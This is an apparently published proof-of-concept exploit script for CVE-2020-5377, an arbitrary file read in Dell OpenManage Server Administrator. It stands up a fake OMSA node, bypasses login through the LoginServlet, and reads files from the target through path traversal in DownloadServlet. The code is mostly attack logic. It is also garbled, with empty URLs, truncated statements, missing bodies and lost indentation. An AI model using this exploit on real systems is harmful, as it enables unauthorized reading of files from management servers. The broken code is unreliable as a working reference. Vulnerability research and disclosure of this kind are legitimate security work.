Dell OpenManage Server Administrator File Read

# Exploit Title: Dell OpenManage Server Administrator – Arbitrary File Read
# Date: 4/27/2020
# Exploit Author: Rhino Security Labs
# Version: <= 9.4
# Description: Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station.
# CVE: CVE-2020-5377

# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator
# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs
# More information can be found here:
# A patch for this issue can be found here:

from xml.sax.saxutils import escape
import BaseHTTPServer
import requests
import thread
import ssl
import sys
import re
import os

import urllib3

if len(sys.argv) < 3:
print ‘Usage python <yourIP> <targetIP>:<targetPort>’

#This XML to imitate a Dell OMSA remote system comes from
#Also check out
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
data = ”
content_len = int(s.headers.getheader(‘content-length’, 0))
post_body =
s.send_header(“Content-type”, “application/soap+xml;charset=UTF-8”)
if “__00omacmd=getuserrightsonly” in post_body:
data = escape(“<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>”)
if “__00omacmd=getaboutinfo ” in post_body:
data = escape(“<ProductVersion>6.0.3</ProductVersion>”)
if data:
requid = re.findall(‘>uuid:(.*?)<‘,post_body)[0]
s.wfile.write(”'<?xml version=”1.0″ encoding=”UTF-8″?>
<s:Envelope xmlns:s=”” xmlns:wsa=”” xmlns:wsman=”” xmlns:n1=””>

s.wfile.write(”'<?xml version=”1.0″ encoding=”UTF-8″?><s:Envelope xmlns:s=”” xmlns:wsmid=””><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion></wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>”’)

def log_message(self, format, *args):

createdCert = False
if not os.path.isfile(‘./server.pem’):
print ‘[-] No server.pem certifcate file found. Generating one…’
os.system(‘openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj “/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/”‘)
createdCert = True

def startServer():
server_class = BaseHTTPServer.HTTPServer
httpd = httpd = server_class((‘’, 443), MyHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile=’./server.pem’, server_side=True)


myIP = sys.argv[1]
target = sys.argv[2]

def bypassAuth():
values = {}
url = “https://{}/LoginServlet?flag=true&managedws=false”.format(target)
data = {“manuallogin”: “true”, “targetmachine”: myIP, “user”: “VULNERABILITY:CVE-2020-5377”, “password”: “plz”, “application”: “omsa”, “ignorecertificate”: “1”}
r =, data=data, verify=False, allow_redirects=False)
cookieheader = r.headers[‘Set-Cookie’]
sessionid = re.findall(‘JSESSIONID=(.*?);’,cookieheader)
pathid = re.findall(‘Path=/(.*?);’,cookieheader)
values[‘sessionid’] = sessionid[0]
values[‘pathid’] = pathid[0]
return values

ids = bypassAuth()
sessionid = ids[‘sessionid’]
pathid = ids[‘pathid’]

print “Session: “+sessionid
print “VID: “+pathid

def readFile(target,sessid,pathid):
while True:
file = raw_input(‘file > ‘)
url = “https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}”.format(target,pathid,pathid,file)
cookies = {“JSESSIONID”: sessid}
r = requests.get(url, cookies=cookies, verify=False)
print ‘Reading contents of {}:\n{}’.format(file,r.content)

def getPath(path):
if path.lower().startswith(‘c:\\’):
path = path[2:]
path = path.replace(‘\\’,’/’)
return path